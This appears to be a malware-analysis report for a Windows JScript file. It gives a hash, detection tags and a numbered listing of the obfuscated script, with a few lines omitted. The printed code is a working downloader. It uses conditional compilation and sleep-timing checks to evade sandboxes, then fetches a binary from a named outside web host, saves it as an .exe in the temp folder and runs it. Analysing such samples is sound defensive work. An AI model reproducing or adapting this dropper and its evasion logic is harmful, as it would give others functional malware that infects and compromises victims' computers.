20160328_f761895143500b738c158be3f9a126d0.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25646e5159e126d63130c7c7b69b3c733697d661d86f13502f3609ec9d1fe3b614c
Evidence
1var Knwso = false;
2var Dkrwmwkfs = "CreateObject";
3var Oagkqixgr = function Tylcwkkike() {return WScript[Dkrwmwkfs]("WScript.Shell");}();
4var Vfoma = 123213;
5var Uxcbdvqj = "MSXML2.XMLHTTP";
6var Ihbco = 2123213;
7var Meirokb = 0;
8function Owfgopvmd(Rdvdavlgwb){Oagkqixgr["Run"](Rdvdavlgwb, Meirokb, Meirokb);};
9function Obyuvrw(){return Uxcbdvqj;};
10function Nybvllv(Szndla, Apypgvwnrv){return Szndla - Apypgvwnrv;};
11function Qtrteiwywu(){return Dkrwmwkfs;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Knwso = true;
15 @end
16@*/
17var Vslpczvl = "";
18if (Knwso)
19{
20function Ysujeuaczm(){return 22;};
21var Teptvb = 0; var Hbnqb = 0;
22function Xvvnbnzq()
23{
24var Gkgsvb = new this["Date"]();
25var Dalsgri = Gkgsvb["getUTCMilliseconds"]();
26WScript["Sleep"](Ysujeuaczm());
27var Gkgsvb = new this["Date"]();
28var Elfcw = Gkgsvb["getUTCMilliseconds"]();
29WScript["Sleep"](Ysujeuaczm());
30var Gkgsvb = new this["Date"]();
31var Zkltweujs = Gkgsvb["getUTCMilliseconds"]();
32var Teptvb = "Onomsye";
33Teptvb = Nybvllv(Elfcw, Dalsgri);
34var Hbnqb = "Wyrpih";
35Hbnqb = Nybvllv(Zkltweujs, Elfcw);
36Vslpczvl = "open";
37return Nybvllv(Teptvb, Hbnqb);
38}
39var Vvclar = false;
40var Eczufvljny = false;
41for (var Tfaxpyvjl = Meirokb; Tfaxpyvjl < Ysujeuaczm() * 1; Tfaxpyvjl++){if (Xvvnbnzq() != Meirokb){
…
49:3… (Vvclar && Gswzcxn() && Eczufvljny){
50function Esmfv() {return Oagkqixgr["ExpandEnvironmentStrings"]("%TEMP%/") + "KwGLjjCjiUA.exe";};
51 Vjsqvwak = Obyuvrw();
52 Dqopoftqk = WScript[Dkrwmwkfs](Vjsqvwak);
53 var Tspztsyxpq = 1;
54 while (Tspztsyxpq){
55try {
56Dqopoftqk[Vslpczvl]("GET", "http://themesbin.com/k9sjaf", false);
57Dqopoftqk["send"]();
58Ykimlqkz = "Sleep";
59do {WScript[Ykimlqkz](Ysujeuaczm() * 11)} while (Dqopoftqk["readystate"] < 4 );
60Tspztsyxpq = Meirokb;
61} catch(Ypvqnedj){Tspztsyxpq = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Pytzyrjjt(Fsnmalpjj) {var Uehnef = (1, 2, 3, 4, 5, Fsnmalpjj); return Uehnef;};
64Shidrfwhsr = WScript[Qtrteiwywu()]("ADODB.Stream");
65Vjsqvwak = Shidrfwhsr;
66Vjsqvwak[Vslpczvl]();
67Vjsqvwak["type"] = Pytzyrjjt(1);
68Vjsqvwak["write"](Dqopoftqk["ResponseBody"]);
69Shidrfwhsr["position"] = Pytzyrjjt(Meirokb);
70Vjsqvwak["SaveToFile"](Esmfv(), Pytzyrjjt(2) );
71Shidrfwhsr["close"]();
72Owfgopvmd(Esmfv());
73}
74}
75